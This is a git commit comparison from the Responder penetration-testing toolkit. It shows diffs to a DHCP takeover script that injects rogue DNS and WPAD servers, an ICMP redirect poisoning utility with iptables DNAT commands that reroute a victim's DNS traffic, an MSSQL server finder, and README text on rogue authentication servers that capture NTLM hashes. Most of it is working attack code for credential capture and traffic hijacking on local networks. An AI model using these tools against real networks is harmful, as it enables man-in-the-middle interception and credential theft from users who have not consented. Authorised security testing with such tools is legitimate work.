Compare commits

...

10 Commits

Author SHA1 Message Date
lgandx
cf7b4771ca Fixed serve-always and serve-exe with the new WPAD server. 2014-08-26 02:51:00 -04:00
lgandx
f69e93c02e Added: Log command line in Responder-Session.log. 2014-08-26 00:56:16 -04:00
lgandx
235f0fa8ae minor fix 2014-08-16 08:20:43 -04:00
lgandx
0660cc2fe7 minor fix 2014-08-16 08:18:55 -04:00
lgandx
823915fe44 initial commit 2014-08-13 21:27:32 -04:00
lgandx
5c9fec923c fixed: identation. 2014-06-09 22:16:01 -04:00
lgandx
4558861ce2 Fixed high cpu usage in some specific cases 2014-05-27 22:24:20 -04:00
lgandx
af30d21908 minor change 2014-04-23 01:39:44 -04:00
lgandx
a21aaf7987 Removed: old style options. Just use -r instead of -r On 2014-04-23 00:20:00 -04:00
lgandx
2e4ed61bba Added: in-scope target, windows >= Vista support (-R) and unicast answers only. 2014-04-22 19:57:28 -04:00
8 changed files with 2042 additions and 1918 deletions

View File

@@ -1,4 +1,9 @@
ChangeLog Responder 2.0: ChangeLog Responder 2.0.8:
- Removed: Old style options (On/Off). Just use -r instead of -r On.
- Added [DHCP.py]: in-scope target, windows >= Vista support (-R) and unicast answers only.
- Added: In-scope llmnr/nbt-ns name option
- Added: Kerberos hash support
- Added: DHCP INFORM take over tool (DHCP.py)
- Added: MDNS Poisoner. - Added: MDNS Poisoner.
- Added: -F command line switch to force NTLM authentication on PAC file retrieval. - Added: -F command line switch to force NTLM authentication on PAC file retrieval.
- Added: Ability to inject custom HTML in HTTP responses. - Added: Ability to inject custom HTML in HTTP responses.

186
DHCP.py
View File

@@ -15,7 +15,7 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys,struct,socket,re,optparse import sys,struct,socket,re,optparse,ConfigParser,os
from odict import OrderedDict from odict import OrderedDict
from socket import inet_aton, inet_ntoa from socket import inet_aton, inet_ntoa
@@ -46,37 +46,43 @@ parser.add_option('-R',action="store_true", help="Respond to DHCP Requests, inje
options, args = parser.parse_args() options, args = parser.parse_args()
def ShowWelcome(): def ShowWelcome():
Message = 'DHCP INFORM Take Over 0.1\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nThis script will inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a linux box, use -R (noisy)' Message = 'DHCP INFORM Take Over 0.2\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nBy default, this script will only inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a Windows >= Vista and any linux box, use -R (can be noisy)\n\033[1m\033[31mUse Responder.conf\'s RespondTo setting for in-scope only targets\033[0m\n'
print Message print Message
if options.OURIP is None: if options.OURIP is None:
print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n" print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
if options.Interface is None: if options.Interface is None:
print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n" print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
if options.RouterIP is None: if options.RouterIP is None:
print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n" print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
if options.DNSIP is None: if options.DNSIP is None:
print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n" print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
if options.DNSIP2 is None: if options.DNSIP2 is None:
print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n" print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
ShowWelcome() ShowWelcome()
BCAST = "255.255.255.255" #Config parsing
ResponderPATH = os.path.dirname(__file__)
config = ConfigParser.ConfigParser()
config.read(os.path.join(ResponderPATH,'Responder.conf'))
RespondTo = config.get('Responder Core', 'RespondTo').strip()
#Setting some vars
Interface = options.Interface Interface = options.Interface
OURIP = options.OURIP OURIP = options.OURIP
ROUTERIP = options.RouterIP ROUTERIP = options.RouterIP
@@ -90,14 +96,25 @@ Spoof = options.Spoof
Request = options.Request Request = options.Request
if Spoof: if Spoof:
DHCPSERVER = ROUTERIP DHCPSERVER = ROUTERIP
def SpoofIP(Spoof): def SpoofIP(Spoof):
if Spoof: if Spoof:
return ROUTERIP return ROUTERIP
else: else:
return OURIP return OURIP
def RespondToSpecificHost(RespondTo):
if len(RespondTo)>=1 and RespondTo != ['']:
return True
else:
return False
def RespondToIPScope(RespondTo, ClientIp):
if ClientIp in RespondTo:
return True
else:
return False
class Packet(): class Packet():
fields = OrderedDict([ fields = OrderedDict([
@@ -162,13 +179,15 @@ class DHCPACK(Packet):
("ServerHostname", "\x00" * 64), ("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128), ("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"), ("MagicCookie", "\x63\x82\x53\x63"),
("Op53", "\x35\x01\x05"), #Msgtype(ACK) ("DHCPCode", "\x35"), #DHCP Message
("DHCPCodeLen", "\x01"),
("DHCPOpCode", "\x05"), #Msgtype(ACK)
("Op54", "\x36"), ("Op54", "\x36"),
("Op54Len", "\x04"), ("Op54Len", "\x04"),
("Op54Str", ""), #DHCP Server ("Op54Str", ""), #DHCP Server
("Op51", "\x33"), ("Op51", "\x33"),
("Op51Len", "\x04"), ("Op51Len", "\x04"),
("Op51Str", "\x00\x00\xff\xff"), #Lease time, 1 day. ("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day.
("Op1", "\x01"), ("Op1", "\x01"),
("Op1Len", "\x04"), ("Op1Len", "\x04"),
("Op1Str", ""), #Netmask ("Op1Str", ""), #Netmask
@@ -185,6 +204,7 @@ class DHCPACK(Packet):
("Op252Len", "\x04"), ("Op252Len", "\x04"),
("Op252Str", WPADSRV), #Wpad Server. ("Op252Str", WPADSRV), #Wpad Server.
("Op255", "\xff"), ("Op255", "\xff"),
("Padding", "\x00"),
]) ])
@@ -250,21 +270,21 @@ def ParseMac(data):
def IsUDP(data): def IsUDP(data):
if data[0][23:24] == "\x11": if data[0][23:24] == "\x11":
return True return True
if data[0][23:24] == "\x06": if data[0][23:24] == "\x06":
return False return False
def ParseSrcDSTAddr(data): def ParseSrcDSTAddr(data):
SrcIP = inet_ntoa(data[0][26:30]) SrcIP = inet_ntoa(data[0][26:30])
DstIP = inet_ntoa(data[0][30:34]) DstIP = inet_ntoa(data[0][30:34])
SrcPort = struct.unpack('>H',data[0][34:36])[0] SrcPort = struct.unpack('>H',data[0][34:36])[0]
DstPort = struct.unpack('>H',data[0][36:38])[0] DstPort = struct.unpack('>H',data[0][36:38])[0]
return SrcIP,SrcPort,DstIP,DstPort return SrcIP,SrcPort,DstIP,DstPort
def FindIP(data): def FindIP(data):
IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data)) IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4]) return ''.join(IP[0:4])
def ParseDHCPCode(data): def ParseDHCPCode(data):
PTid = data[4:8] PTid = data[4:8]
Seconds = data[8:10] Seconds = data[8:10]
@@ -274,52 +294,86 @@ def ParseDHCPCode(data):
OpCode = data[242:243] OpCode = data[242:243]
RequestIP = data[245:249] RequestIP = data[245:249]
if OpCode == "\x08": if OpCode == "\x08":
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(BCAST)) i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(CurrentIP))
p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds) p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds)
p.calculate() p.calculate()
u = UDP(Data = p) u = UDP(Data = p)
u.calculate() u.calculate()
for x in range(1): for x in range(1):
SendDHCP(str(i)+str(u),(CurrentIP,68)) SendDHCP(str(i)+str(u),(CurrentIP,68))
return 'DHCP Inform received, Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,MacAddr.encode('hex'),PTid.encode('hex')) return '\033[1m\033[31mDHCP Inform received:\033[0m Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
if OpCode == "\x03": if OpCode == "\x03":
if Request: if Request:
IP = FindIP(data) IP = FindIP(data)
if IP: if IP:
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(BCAST)) IPConv = inet_ntoa(IP)
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x80\x00",ElapsedSec=Seconds) if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
p.calculate() i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
u = UDP(Data = p) p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
u.calculate() p.calculate()
for x in range(1): u = UDP(Data = p)
SendDHCP(str(i)+str(u),("255.255.255.255",0)) u.calculate()
return 'DHCP Request received, Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,MacAddr.encode('hex'),PTid.encode('hex')) for x in range(1):
SendDHCP(str(i)+str(u),(IPConv,68))
return '\033[1m\033[31mIn-scope DHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
if RespondToSpecificHost(RespondTo) == False:
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
p.calculate()
u = UDP(Data = p)
u.calculate()
for x in range(1):
SendDHCP(str(i)+str(u),(IPConv,68))
return '\033[1m\033[31mDHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
if OpCode == "\x01":
if Request:
IP = FindIP(data)
if IP:
IPConv = inet_ntoa(IP)
if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
p.calculate()
u = UDP(Data = p)
u.calculate()
for x in range(1):
SendDHCP(str(i)+str(u),(IPConv,0))
return '\033[1m\033[31mIn-scope DHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
if RespondToSpecificHost(RespondTo) == False:
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
p.calculate()
u = UDP(Data = p)
u.calculate()
for x in range(1):
SendDHCP(str(i)+str(u),(IPConv,0))
return '\033[1m\033[31mDHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
else: else:
return False return False
def SendDHCP(packet,Host): def SendDHCP(packet,Host):
Protocol = 0x0800 Protocol = 0x0800
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(packet, Host) s.sendto(packet, Host)
def SniffUDPMac(): def SniffUDPMac():
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
Protocol = 0x0800 Protocol = 0x0800
s.bind((Interface, Protocol)) s.bind((Interface, Protocol))
while True: while True:
data = s.recvfrom(65535) data = s.recvfrom(65535)
if IsUDP(data): if IsUDP(data):
SrcIP,SrcPort,DstIP,DstPort = ParseSrcDSTAddr(data) SrcIP,SrcPort,DstIP,DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67: if SrcPort == 67 or DstPort == 67:
Message = ParseDHCPCode(data[0][42:]) Message = ParseDHCPCode(data[0][42:])
if Message: if Message:
print ParseMac(data) print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort)
print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort) print Message
print Message
SniffUDPMac() SniffUDPMac()

39
FindSQLSrv.py Executable file
View File

@@ -0,0 +1,39 @@
#! /usr/bin/env python
# Created by Laurent Gaffie
# This file is part of the Responder toolkit.
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
from socket import *
print 'MSSQL Server Finder 0.1\nPlease send bugs/comments/e-beer to: lgaffie@trustwave.com\n'
s = socket(AF_INET,SOCK_DGRAM)
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
s.settimeout(2)
s.sendto('\x02',('255.255.255.255',1434))
try:
while 1:
data, address = s.recvfrom(8092)
if not data:
break
else:
print "===============================================================\nHost details:",address[0]
print data[2:]
print "===============================================================\n"
except:
pass

View File

@@ -12,7 +12,7 @@
# but WITHOUT ANY WARRANTY; without even the implied warranty of # but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details. # GNU General Public License for more details.
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys,socket,struct,optparse,random,pipes import sys,socket,struct,optparse,random,pipes
@@ -43,32 +43,32 @@ parser.add_option('-a', '--alternate',action="store", help="The alternate gatewa
options, args = parser.parse_args() options, args = parser.parse_args()
if options.OURIP is None: if options.OURIP is None:
print "-i mandatory option is missing.\n" print "-i mandatory option is missing.\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
if options.OriginalGwAddr is None: if options.OriginalGwAddr is None:
print "-g mandatory option is missing, please provide the original gateway address.\n" print "-g mandatory option is missing, please provide the original gateway address.\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
if options.VictimIP is None: if options.VictimIP is None:
print "-t mandatory option is missing, please provide a target.\n" print "-t mandatory option is missing, please provide a target.\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
if options.Interface is None: if options.Interface is None:
print "-I mandatory option is missing, please provide your network interface.\n" print "-I mandatory option is missing, please provide your network interface.\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
if options.ToThisHost is None: if options.ToThisHost is None:
print "-r mandatory option is missing, please provide a destination target.\n" print "-r mandatory option is missing, please provide a destination target.\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
if options.AlternateGwAddr is None: if options.AlternateGwAddr is None:
AlternateGwAddr = options.OURIP AlternateGwAddr = options.OURIP
#Setting some vars. #Setting some vars.
OURIP = options.OURIP OURIP = options.OURIP
@@ -80,9 +80,9 @@ ToThisHost2 = options.ToThisHost2
Interface = options.Interface Interface = options.Interface
def Show_Help(ExtraHelpData): def Show_Help(ExtraHelpData):
help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to lgaffie@trustwave.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n" help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to lgaffie@trustwave.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n"
help+= ExtraHelpData help+= ExtraHelpData
print help print help
MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP) MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
@@ -133,9 +133,9 @@ class ARPWhoHas(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["DstIP"] = inet_aton(self.fields["DstIP"]) self.fields["DstIP"] = inet_aton(self.fields["DstIP"])
self.fields["SenderIP"] = inet_aton(OURIP) self.fields["SenderIP"] = inet_aton(OURIP)
##################################################################### #####################################################################
#ICMP Redirect Packets #ICMP Redirect Packets
@@ -165,9 +165,9 @@ class IPPacket(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["TID"] = chr(randrange(256))+chr(randrange(256)) self.fields["TID"] = chr(randrange(256))+chr(randrange(256))
self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"])) self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"]))
self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"])) self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"]))
# Calc Len First # Calc Len First
CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"]) CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"])
@@ -186,9 +186,9 @@ class ICMPRedir(Packet):
]) ])
def calculate(self): def calculate(self):
#Set the values #Set the values
self.fields["GwAddr"] = inet_aton(OURIP) self.fields["GwAddr"] = inet_aton(OURIP)
# Then CheckSum this packet # Then CheckSum this packet
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"]) CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
@@ -212,15 +212,15 @@ def ReceiveArpFrame(DstAddr):
Arp.calculate() Arp.calculate()
final = str(Eth)+str(Arp) final = str(Eth)+str(Arp)
try: try:
s.send(final) s.send(final)
data = s.recv(1024) data = s.recv(1024)
DstMac = data[22:28] DstMac = data[22:28]
DestMac = DstMac.encode('hex') DestMac = DstMac.encode('hex')
PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)]) PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
return PrintMac,DstMac return PrintMac,DstMac
except: except:
print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr) print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
exit(1) exit(1)
def IcmpRedirectSock(DestinationIP): def IcmpRedirectSock(DestinationIP):
PrintMac,DestMac = ReceiveArpFrame(VictimIP) PrintMac,DestMac = ReceiveArpFrame(VictimIP)
@@ -235,7 +235,7 @@ def IcmpRedirectSock(DestinationIP):
IPPackUDP.calculate() IPPackUDP.calculate()
ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP)) ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP))
ICMPPack.calculate() ICMPPack.calculate()
IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack)) IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
IPPack.calculate() IPPack.calculate()
final = str(Eth)+str(IPPack) final = str(Eth)+str(IPPack)
s.send(final) s.send(final)
@@ -243,12 +243,12 @@ def IcmpRedirectSock(DestinationIP):
def FindWhatToDo(ToThisHost2): def FindWhatToDo(ToThisHost2):
if ToThisHost2 != None: if ToThisHost2 != None:
Show_Help('Hit CRTL-C to kill this script') Show_Help('Hit CRTL-C to kill this script')
RunThisInLoop(ToThisHost, ToThisHost2,OURIP) RunThisInLoop(ToThisHost, ToThisHost2,OURIP)
if ToThisHost2 == None: if ToThisHost2 == None:
Show_Help(MoreHelp) Show_Help(MoreHelp)
IcmpRedirectSock(DestinationIP=ToThisHost) IcmpRedirectSock(DestinationIP=ToThisHost)
exit() exit()
def RunThisInLoop(host, host2, ip): def RunThisInLoop(host, host2, ip):
dns1 = pipes.quote(host) dns1 = pipes.quote(host)
@@ -258,10 +258,9 @@ def RunThisInLoop(host, host2, ip):
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers." print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers."
while True: while True:
IcmpRedirectSock(DestinationIP=dns1) IcmpRedirectSock(DestinationIP=dns1)
IcmpRedirectSock(DestinationIP=dns2) IcmpRedirectSock(DestinationIP=dns2)
print "[+]Repoisoning the target in 8 minutes..." print "[+]Repoisoning the target in 8 minutes..."
sleep(480) sleep(480)
FindWhatToDo(ToThisHost2) FindWhatToDo(ToThisHost2)

View File

@@ -11,7 +11,7 @@ suffix (see: http://support.microsoft.com/kb/163409). By default, the
tool will only answers to File Server Service request, which is for SMB. tool will only answers to File Server Service request, which is for SMB.
The concept behind this, is to target our answers, and be stealthier on The concept behind this, is to target our answers, and be stealthier on
the network. This also helps to ensure that we don't break legitimate the network. This also helps to ensure that we don't break legitimate
NBT-NS behavior. You can set the -r option to "On" via command line if NBT-NS behavior. You can set the -r option via command line if
you want this tool to answer to the Workstation Service request name you want this tool to answer to the Workstation Service request name
suffix. suffix.
@@ -22,12 +22,12 @@ FEATURES
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default.
Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion. Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion.
Clear text password is supported for NT4, and LM hashing downgrade when the Clear text password is supported for NT4, and LM hashing downgrade when the
--lm option is set to On. This functionality is enabled by default when the --lm option is set. This functionality is enabled by default when the
tool is launched. tool is launched.
- Built-in MSSQL Auth server. - Built-in MSSQL Auth server.
In order to redirect SQL Authentication to this tool, you will need to In order to redirect SQL Authentication to this tool, you will need to
set the option -r to On(NBT-NS queries for SQL Server lookup are using set the option -r (NBT-NS queries for SQL Server lookup are using
the Workstation Service name suffix) for systems older than windows the Workstation Service name suffix) for systems older than windows
Vista (LLMNR will be used for Vista and higher). This server supports Vista (LLMNR will be used for Vista and higher). This server supports
NTLMv1, LMv2 hashes. This functionality was successfully tested on NTLMv1, LMv2 hashes. This functionality was successfully tested on
@@ -35,7 +35,7 @@ FEATURES
- Built-in HTTP Auth server. - Built-in HTTP Auth server.
In order to redirect HTTP Authentication to this tool, you will need In order to redirect HTTP Authentication to this tool, you will need
to set the option -r to On for Windows version older than Vista (NBT-NS to set the option -r for Windows version older than Vista (NBT-NS
queries for HTTP server lookup are sent using the Workstation Service queries for HTTP server lookup are sent using the Workstation Service
name suffix). For Vista and higher, LLMNR will be used. This server name suffix). For Vista and higher, LLMNR will be used. This server
supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server
@@ -45,7 +45,7 @@ FEATURES
- Built-in HTTPS Auth server. - Built-in HTTPS Auth server.
In order to redirect HTTPS Authentication to this tool, you will need In order to redirect HTTPS Authentication to this tool, you will need
 to set the -r option to On for Windows versions older than Vista (NBT-NS  to set the -r option for Windows versions older than Vista (NBT-NS
 queries for HTTP server lookups are sent using the Workstation Service  queries for HTTP server lookups are sent using the Workstation Service
 name suffix). For Vista and higher, LLMNR will be used. This server  name suffix). For Vista and higher, LLMNR will be used. This server
 supports NTLMv1, NTLMv2, *and* Basic Authentication. This server  supports NTLMv1, NTLMv2, *and* Basic Authentication. This server
@@ -57,7 +57,7 @@ FEATURES
- Built-in LDAP Auth server. - Built-in LDAP Auth server.
In order to redirect LDAP Authentication to this tool, you will need In order to redirect LDAP Authentication to this tool, you will need
to set the option -r to On for Windows version older than Vista (NBT-NS to set the option -r for Windows version older than Vista (NBT-NS
queries for HTTP server lookup are sent using the Workstation Service queries for HTTP server lookup are sent using the Workstation Service
name suffix). For Vista and higher, LLMNR will be used. This server name suffix). For Vista and higher, LLMNR will be used. This server
supports NTLMSSP hashes and Simple Authentication (clear text authentication). supports NTLMSSP hashes and Simple Authentication (clear text authentication).
@@ -118,52 +118,60 @@ USAGE
First of all, please take a look at Responder.conf and set it for your needs. First of all, please take a look at Responder.conf and set it for your needs.
Running this tool: Running this tool:
- python Responder.py [options] - ./Responder.py [options]
Usage Example: Usage Example:
python Responder.py -i 10.20.30.40 -r On -F On -w On ./Responder.py -i 10.20.30.40 -w -r -f
or:
python Responder.py -i 10.20.30.40 -wrf
Options List: Options List:
-h, --help show this help message and exit. -h, --help show this help message and exit
-i 10.20.30.40, --ip=10.20.30.40 The ip address to redirect the traffic to. -A, --analyze Analyze mode. This option allows you to see NBT-NS,
(usually yours) BROWSER, LLMNR requests from which workstation to
which workstation without poisoning anything.
-I eth0, --interface=eth0 Network interface to use -i 10.20.30.40, --ip=10.20.30.40
The ip address to redirect the traffic to. (usually
yours)
-b Off, --basic=Off Set this to On if you want to return a -I eth0, --interface=eth0 Network interface to use
Basic HTTP authentication. Off will return
an NTLM authentication.
-r Off, --wredir=Off Set this to On to enable answers for netbios -b, --basic Set this if you want to return a Basic HTTP
wredir suffix queries. Answering to wredir authentication. If not set, an NTLM authentication
will likely break stuff on the network will be returned.
(like classics 'nbns spoofer' will).
Default value is therefore set to Off.
-f Off, --fingerprint=Off This option allows you to fingerprint a -r, --wredir Set this to enable answers for netbios wredir suffix
host that issued an NBT-NS or LLMNR query. queries. Answering to wredir will likely break stuff
on the network (like classics 'nbns spoofer' would).
Default value is therefore set to False
-w On, --wpad=On Set this to On or Off to start/stop the WPAD rogue -d, --NBTNSdomain Set this to enable answers for netbios domain suffix
proxy server. Default value is Off queries. Answering to domain suffixes will likely
break stuff on the network (like a classic 'nbns
spoofer' would). Default value is therefore set to
False
--lm=Off Set this to On if you want to force LM hashing -f, --fingerprint This option allows you to fingerprint a host that
downgrade for Windows XP/2003 and earlier. Default value is Off issued an NBT-NS or LLMNR query.
-F Off, --ForceWpadAuth=Off Set this to On or Off to force NTLM/Basic authentication on -w, --wpad Set this to start the WPAD rogue proxy server. Default
wpad.dat file retrieval. This might cause a login prompt in value is False
some specific cases. Default value is Off
-A, --analyze Analyze mode. This option allows you to see NBT-NS,BROWSER, -F, --ForceWpadAuth Set this if you want to force NTLM/Basic
LLMNR requests from which workstation to which workstation authentication on wpad.dat file retrieval. This might
